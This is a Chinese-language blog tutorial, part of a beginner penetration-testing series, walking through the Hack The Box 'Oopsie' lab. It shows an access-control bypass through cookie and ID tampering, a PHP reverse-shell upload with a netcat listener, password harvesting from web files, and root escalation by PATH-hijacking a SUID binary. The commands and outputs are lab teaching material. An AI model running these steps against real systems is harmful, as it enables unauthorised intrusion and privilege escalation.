目 录CONTENT

文章目录

从零到牛逼第十二节:二层Oopsie靶机

cz
cz
2023-05-26 / 0 评论 / 2 点赞 / 322 阅读 / 3,223 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2023-06-25,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

前言

在上一节的实验中给大家讲述了smb,Microsoft SQL Server,远程代码执行以及匿名访问等相关知识,本节给大家讲解会话处理,网站结构发现,SUID开发,认证绕过,任意文件上传,路径劫持等技术。

准备环节

打开控制台

su - root
Ctrl+Shift+T  #同时开启多个终端
cd /home/cz/桌面/ proxy   #你自己的vpn文件路径
openvpn starting_czhtb.ovpn  #通过openvpn连接htb平台
cd /home/cz/桌面/htb  #在新建的终端打开
mkdir 0202   #创建0202实验目录
cd 0202
touch 笔记本.txt
ls

回到htb平台开启实例获取到分配给我们的ip地址

image-1685070856635

┌──(root㉿cz)-[/home/cz/桌面/htb/0202]
└─# ping 10.129.187.118
PING 10.129.187.118 (10.129.187.118) 56(84) bytes of data.
64 bytes from 10.129.187.118: icmp_seq=1 ttl=63 time=236 ms
64 bytes from 10.129.187.118: icmp_seq=2 ttl=63 time=236 ms
64 bytes from 10.129.187.118: icmp_seq=3 ttl=63 time=223 ms
64 bytes from 10.129.187.118: icmp_seq=4 ttl=63 time=224 ms

题目详情

答案见文末

TASK 1
With what kind of tool can intercept web traffic?
#译文:
任务1
用什么样的工具可以拦截网络流量?
TASK 2
What is the path to the directory on the webserver that returns a login page?
#译文:
任务 2
返回登录页面的 Web 服务器上目录的路径是什么?
TASK 3
What can be modified in Firefox to get access to the upload page?
#译文:
任务 3
可以在 Firefox 中修改什么以访问上传页面?
TASK 4
What is the access ID of the admin user?
#译文:
任务 4
管理员用户的访问 ID 是什么?
TASK 5
On uploading a file, what directory does that file appear in on the server?
#译文:
任务 5
上传文件时,该文件出现在服务器的哪个目录中?
TASK 6
What is the file that contains the password that is shared with the robert user?
#译文:
任务 6
包含与 robert 用户共享的密码的文件是什么?
TASK 7
What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group?
#译文:
任务 7
使用选项“-group bugtracker”运行什么可执行文件以识别 bugtracker 组拥有的所有文件?
TASK 8
Regardless of which user starts running the bugtracker executable, what's user privileges will use to run?
#译文:
任务 8
无论哪个用户开始运行 bugtracker 可执行文件,将使用什么用户权限来运行?
TASK 9
What SUID stands for?
#译文:
任务 9
SUID 代表什么?
TASK 10
What is the name of the executable being called in an insecure manner?
#译文:
任务 10
以不安全方式调用的可执行文件的名称是什么?
SUBMIT FLAG
Submit user flag
#译文:
提交标志
提交用户标志
SUBMIT FLAG
Submit root flag
#译文:
提交标志
提交根标志

实验环节

nmap扫描

老规矩,先用nmap扫描,我们发现22(ssh),80(HTTPS)处于开放状态

┌──(root㉿cz)-[/home/cz/桌面/htb/0202]
└─# nmap -sC -sV 10.129.187.118 -o 0202nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-26 11:02 CST
Nmap scan report for 10.129.187.118 (10.129.187.118)
Host is up (0.37s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 61e43fd41ee2b2f10d3ced36283667c7 (RSA)
|   256 241da417d4e32a9c905c30588f60778d (ECDSA)
|_  256 78030eb4a1afe5c2f98d29053e29c9f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

浏览器访问10.129.187.118

image-1685077304542
image-1685077597396

根据这些信息,该网站应该有一个登录页面。在我们继续进行目录和页面枚举之前,我们可以尝试使用Burp Suite代理来映射网站,以被动地爬取网站。

Burp Suite是一款功能强大的安全测试应用程序,可用于在Web应用程序,移动应用程序和胖客户端上执行Web请求。Burp提供多种功能,例如网络爬虫、扫描器、代理、中继器、入侵者等等。

设置Firefox代理

image-1685077820158
image-1685077927793

打开Burp Suite(简称bp)这边我使用的是免安装激活的2023汉化最新版的bp,由于蓝奏云上传限制100M,需要软件的请加入交流群,博客首页有加入方式,或者点击此处加入群聊扫码进群

寻找利用点

#以下操作均需在普通用户下操作
┌──(cz㉿cz)-[~]
└─$ cd /home/cz/桌面/tools/20230424_BurpSuite_pro_v2023.4.2.汉化版 
                                                                                
┌──(cz㉿cz)-[~/桌面/tools/20230424_BurpSuite_pro_v2023.4.2.汉化版]
└─$ bash BurpSuiteLoader.sh

image-1685078241551

再次访问10.129.187.118,发现已经获取到此记录集,我们双击打开

image-1685078389041
image-1685078487679

发现有个登录路径/cdn-cgi/login

image-1685078578659

浏览器尝试访问一下,成功进入登录页面

image-1685078734790

尝试了很多默认用户名密码组合,发现没有什么用,并不能让我们有一定的权限,但是登录界面上有个访客登录按钮Login as Guest我们点击它,发现我们有更多可以探索的按钮,不过对网站结构比较熟悉的我还是一眼发现了uploads这个按钮

image-1685078941828

我们点击它,希望可以上传文件,这将对我们拿到shell有所帮助,不过可惜的是似乎需要超级管理员权限我们才能访问它

image-1685079182061

这时候我们需要找到一种方法将我们的权限从用户Guest提升到超级管理员角色。首先我们一下检查cookie和会话是否可以被篡改。F12进入开发者模式,或者单击右键选择检查

image-1685079388525

我们再次检查浏览器栏上的URL,其中每个用户都有一个ID

http://10.129.187.118/cdn-cgi/login/admin.php?content=accounts&id=2

image-1685079678224

我们尝试将id=2改成id=1,回车

image-1685079789422
image-1685079861664

我们发现34322这个id具有超级管理员权限,我们尝试修改cookies的值,用户值改成34322,角色值改成admin

image-1685080065789

重新访问uploads页面,发现可以正常上传附件

image-1685080149676

获取交互式shell

上传php小马

┌──(root㉿cz)-[/home/cz/桌面/htb/0202]
└─# locate php-reverse-shell.php  
/home/cz/下载/php-reverse-shell.php
/home/cz/桌面/aws/php-reverse-shell.php
/root/SecLists/Web-Shells/laudanum-0.8/php/php-reverse-shell.php
/usr/share/laudanum/php/php-reverse-shell.php
/usr/share/laudanum/wordpress/templates/php-reverse-shell.php
/usr/share/webshells/php/php-reverse-shell.php
                                                                                
┌──(root㉿cz)-[/home/cz/桌面/htb/0202]
└─# cp -r /usr/share/webshells/php/php-reverse-shell.php .
                                                                                
┌──(root㉿cz)-[/home/cz/桌面/htb/0202]
└─# ls                           
0202nmap  笔记本.txt  php-reverse-shell.php
                                                                                
┌──(root㉿cz)-[/home/cz/桌面/htb/0202]
└─# vim php-reverse-shell.php 
#修改内容如下图

image-1685080475474

设置kali监听

┌──(root㉿cz)-[/home/cz/桌面/htb/0202]
└─# nc -lvnp 9999              
listening on [any] 9999 ...

浏览器上传文件

image-1685080867182
image-1685080898633

尝试寻找uploads的url路径,使用工具dirsearch

┌──(root㉿cz)-[/home/cz/桌面/htb/0202]
└─# dirsearch -u http://10.129.187.118 
[14:04:25] 301 -  314B  - /css  ->  http://10.129.187.118/css/
[14:04:33] 301 -  316B  - /fonts  ->  http://10.129.187.118/fonts/
[14:04:37] 301 -  317B  - /images  ->  http://10.129.187.118/images/
[14:04:37] 403 -  279B  - /images/
[14:04:38] 200 -   11KB - /index.php
[14:04:38] 200 -   11KB - /index.php/login/
[14:04:40] 403 -  279B  - /js/
[14:05:05] 403 -  279B  - /server-status
[14:05:05] 403 -  279B  - /server-status/
[14:05:12] 301 -  317B  - /themes  ->  http://10.129.187.118/themes/
[14:05:12] 403 -  279B  - /themes/
[14:05:15] 403 -  279B  - /uploads/
[14:05:15] 301 -  318B  - /uploads  ->  http://10.129.187.118/uploads/

浏览器访问

http://10.129.187.118/uploads/php-reverse-shell.php

image-1685081247397

这里发现shell不存在,我们需要重新上传,因为随时可能被杀死,重新上传后,成功反弹shell

┌──(root㉿cz)-[/home/cz/桌面/htb/0202]
└─# nc -lvnp 9999              
listening on [any] 9999 ...
connect to [10.10.16.2] from (UNKNOWN) [10.129.187.118] 60654
Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 06:08:18 up  3:10,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

由于我们反弹的shell不是很稳定,我们用下面的命令获取交互式shell

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@oopsie:/$ 

查看用户权限

www-data@oopsie:/$ whoami
whoami
www-data
www-data@oopsie:/$ 

由于www-data限制了我们很多操作,但是网站正在使用php和sql,我们可以访问一下网站的web目录查看一些文件

www-data@oopsie:/$ cd var/www/html
cd var/www/html
www-data@oopsie:/var/www/html$ ls
ls
cdn-cgi  css  fonts  images  index.php	js  themes  uploads
www-data@oopsie:/var/www/html$ cd cdn-cgi
cd cdn-cgi
www-data@oopsie:/var/www/html/cdn-cgi$ ls
ls
login
www-data@oopsie:/var/www/html/cdn-cgi$ cd login
cd login
www-data@oopsie:/var/www/html/cdn-cgi/login$ ls
ls
admin.php  db.php  index.php  script.js

我们可以手动查看所有页面的源代码,也可以尝试使用grep工具搜索感兴趣的字符串。grep是一种在每个文件中搜索模式并打印与模式匹配的行的工具。我们可以使用cat *来读取所有文件,同时将输出通过管道传输到grep,我们在其中提供以单词passw开头并后跟任何字符串(例如单词passwd或password)的字符串模式。我们还可以使用-i来忽略密码等区分大小写的单词。

www-data@oopsie:/var/www/html/cdn-cgi/login$ cat * | grep -i passw*
cat * | grep -i passw*
if($_POST["username"]==="admin" && $_POST["password"]==="MEGACORP_4dm1n!!")
<input type="password" name="password" placeholder="Password" />
www-data@oopsie:/var/www/html/cdn-cgi/login$ 

尝试寻找可用用户名,我们发现了robert用户

www-data@oopsie:/var/www/html/cdn-cgi/login$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
......
robert:x:1000:1000:robert:/home/robert:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
www-data@oopsie:/var/www/html/cdn-cgi/login$ 

尝试用户名密码登录用户名:robert;密码:MEGACORP_4dm1n!!但是尴尬的是这个密码不是那个用户的密码,突然想起来当时看到/var/www/html/cdn-cgi/login这个路径下的db.php文件里面好像有个密码,尝试用M3g4C0rpUs3r!登录,成功登录!

www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
su robert
Password: MEGACORP_4dm1n!!

su: Authentication failure
www-data@oopsie:/var/www/html/cdn-cgi/login$ ls
ls
admin.php  db.php  index.php  script.js
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php
cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
su robert
Password: M3g4C0rpUs3r!

robert@oopsie:/var/www/html/cdn-cgi/login$ 

寻找第一个userflag

robert@oopsie:/var/www/html/cdn-cgi/login$ cd /home
cd /home
robert@oopsie:/home$ ls
ls
robert
robert@oopsie:/home$ cd robert	
cd robert
robert@oopsie:~$ ls
ls
user.txt
robert@oopsie:~$ cat user.txt
cat user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxx
#这里我找到了第一个flag

提权

在运行任何权限升级或枚举脚本之前,让我们检查一下用于提升权限的基本命令,例如sudo和id

robert@oopsie:~$ sudo -l
sudo -l
[sudo] password for robert: 
Sorry, try again.
robert@oopsie:~$ id  
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
robert@oopsie:~$ locate bugtracker
#查看文件所在路径
locate bugtracker
/usr/bin/bugtracker
robert@oopsie:~$ ls -la /usr/bin/bugtracker && /usr/bin/bugtracker
#查看具体权限
ls -la /usr/bin/bugtracker && /usr/bin/bugtracker
-rwsr-xr-- 1 root bugtracker 8792 Jan 25  2020 /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 12
12
---------------
cat: /root/reports/12: No such file or directory

分析发现这个文件是个可执行文件,执行发现它在调用cat,由于没有使用绝对路径调用cat,那么就可以通过修改环境变量实现提权。

#查看环境变量
robert@oopsie:~$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
#将shell的路径写入到cat文件中,确认环境变量写入成功
robert@oopsie:~$ echo "/bin/bash" > cat
echo "/bin/bash" > cat
robert@oopsie:~$ chmod +x cat
chmod +x cat
robert@oopsie:~$ export PATH=/home/robert:$PATH
export PATH=/home/robert:$PATH
robert@oopsie:~$ echo $PATH
echo $PATH
/home/robert:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
#运行可执行文件/usr/bin/bugtracker
robert@oopsie:~$ /usr/bin/bugtracker
/usr/bin/bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 12
12
---------------
#成功拿到root权限
root@oopsie:~# 

获得rootflag

root@oopsie:~# cd /root
cd /root
root@oopsie:/root# ls
ls
reports  root.txt
root@oopsie:/root# cat root.txt
cat root.txt
#由于cat作为提权使用被占用这边我用的more命令查看flag
root@oopsie:/root# more root.txt
more root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxx
root@oopsie:/root# 


以上就是Oopsie靶机的全部内容,我们也成功拿到了两面旗帜,关注小志,零基础学渗透,下期见

2

评论区